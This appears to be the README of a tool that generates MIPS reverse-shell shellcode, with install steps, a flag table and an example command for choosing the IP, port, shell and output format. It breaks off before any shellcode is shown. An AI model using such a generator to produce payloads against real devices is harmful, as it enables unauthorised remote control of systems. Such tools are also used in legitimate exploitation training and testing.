MIPS-Reverse is a tool that can generate shellcodes for the MIPS architecture that launches a reverse shell where you can specify the IP adress, the port and the desired shell (/bin/sh, /bin/bash, /bin/dash).

How to install

# 1. Install pwntools
$ pip3 install pwntools

# 2. Install the binutils for the MIPS architecture
$ apt-get install software-properties-common
$ apt-add-repository ppa:pwntools/binutils
$ apt-get update
$ apt-get install binutils-mips-linux-gnu

How to use

$ python3main.py [-h] -i IP -p PORT -s {bash,sh,dash} -f {asm,hex}
Flag Description
-i/--ip IP Adress for the reverse shell
-p/--port Port for the reverse shell
-s/--shell sh, bash or dash
-f/--format Format of the output, it can be either hex if you want the hex-encoded version of the shellcode, or asm if you want the MIPS ASM version


python3 main.py -i -p 1337 -s sh -f hex

will output you a lovely 180 bytes reverse shell shellcode for

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